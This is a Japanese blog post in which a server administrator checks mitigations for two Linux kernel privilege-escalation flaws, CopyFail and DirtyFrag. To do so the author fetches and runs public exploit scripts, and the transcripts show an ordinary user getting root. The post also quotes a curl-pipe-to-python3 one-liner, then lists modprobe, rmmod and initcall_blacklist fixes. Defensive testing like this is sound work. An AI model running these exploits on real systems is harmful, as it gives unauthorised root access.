2026年4月末からLinuxカーネルに権限昇格の脆弱性発見が相次いでいます。
脆弱性の概要
CopyFail
algif_aeadモジュールに脆弱性があって、ローカルユーザがrootになれてしまうという脆弱性。
https://www.walbrix.co.jp/article/copy-fail-cve-2026-31431.html
https://note.com/zephel01/n/n7fa6564b43cf
https://note.com/t_ak66/n/n8efe16e250d9
https://qiita.com/fiord/items/e568f199e5753d3bb1b2
DirtyFrag
esp4・esp6・rxrpcモジュールに脆弱性があって、ローカルユーザがrootになれてしまうという脆弱性。
https://www.walbrix.co.jp/article/dirtyfrag-linux-lpe.html
https://note.com/t_ak66/n/nded0d9e87c2d
https://qiita.com/harupython/items/f877d277a209abc86c87
対応できたかどうかわからん
自分が管理しているサーバも対象だったから対応しないといけないっぽいんだけど、解説を読んでもよくわかりません。
とりあえずmodinfo algif_aeadでalgif_aeadモジュールが入っているかどうか調べようって出てくるんだけど、試してみたら出てこなかったんですよ。
だから大丈夫だなと安心していたら実はそうではなく、Redhatはカーネルに組み込まれているからmodinfoに出てこないんじゃぞとかなんとかかんとか。
どうして一発で調べる方法がないんですか?
対応方法もrmmodすればいいよって話があったと思ったらrmmodじゃ駄目だmodprobe.dに入れろって話があったと思ったらmodprobe.dじゃ駄目だinitcall_blacklistに入れろって話があったりたいへんややこしくてよくわかりません。
そんなとき、実際に脆弱性の対応ができたかどうか確認したい場合はどうすればいい?
そうだね、実際に脆弱性を実行してみればいいね。
ということで公開されているexploitを試してみよう。
exploit試してみた
CopyFail
copy.failで公開されています。
公式ではcurl https://copy.fail/exp | python3 && suでexploitを実行できると書いてあるのですが、これだと中身がどうなっているかわからないのでちょっと怖いですね。
これ自体がただの検証ではなく実際にデータを剽窃するようにハックされていてもわかりませんからね。
ということでGitHubから実行することにしましょう。
[hoge]$ wget https://raw.githubusercontent.com/theori-io/copy-fail-CVE-2026-31431/refs/heads/main/copy_fail_exp.py
[hoge]$ python3 copy_fail_exp.py
[root]#
なんの権限もないユーザが突然rootになってしまいました。
やべえ。
Python3.10未満の場合
この脆弱性はPythonのos.splice機能を使ったものだということです。
これはPython3.10で導入されました。
従ってインストールされているPythonが3.10未満だったら動かないかと思いきや、なんかそれ未満のバージョンでも動くexploitが公開されていました。
試してみましょう。
[hoge]$ wget https://raw.githubusercontent.com/danielino/copy-fail-CVE-2026-31431/f1d8d78e9eaba64f4b45b4e86651096958d068ef/copy_fail_exp.py
[hoge]$ python3 copy_fail_exp.py
[root]#
Python3.9未満でもrootになってしまいました。
やべえ。
DirtyFrag
DirtyFragはhttps://github.com/V4bel/dirtyfragで公開されています。
[hoge]$ git clone https://github.com/V4bel/dirtyfrag.git
[hoge]$ cd dirtyfrag
[hoge]$ gcc -O0 -Wall -o exp exp.c -lutil
[hoge]$ ./exp
[root]#
gccが必要なのでCopyFailよりはほんの少しだけハードルが高いですが、普通にrootになってしまいました。
やべえ。
対策
DirtyFrag
こちらはmodprobe.dとrmmodで対策できて、サーバの再起動も不要みたい。
[root]# printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf;
[root]# rmmod esp4 esp6
[hoge]$ ./exp
dirtyfrag: failed (rc=1)
exploitが動かなくなりました。
対策できたようでめでたし。
CopyFail
よくわからないけどinitcall_blacklistとかいう設定をしてサーバを再起動しないといけないみたい。
modprobe.dも一応実行したんだけど意味がなかったかもしれない。
[root]# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf
[root]# grubby --update-kernel=ALL --args="initcall_blacklist=algif_aead_init"
[root]# reboot
[hoge]$ python3 copy_fail_exp.py
Traceback (most recent call last):
File "copy_fail_exp.py", line 71, in <module>
c(f,i,e[i:i+4])
File "copy_fail_exp.py", line 47, in c
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
FileNotFoundError: [Errno 2] No such file or directory
exploitが動かなくなりました。
対策できたようでめでたし。
その他
上記のexplopitが成功すると、suコマンド自体がおかしくなります。
別のセッションからログインしてsu --helpとか打っても、ヘルプが出ずにrootになれたりします。
やべえ。
実験後は必ず以下のコマンドを打ってキャッシュを削除しましょう。
[root]# echo 3 > /proc/sys/vm/drop_caches
感想
カーネル更新しろって?
動かなくなったらいやじゃん。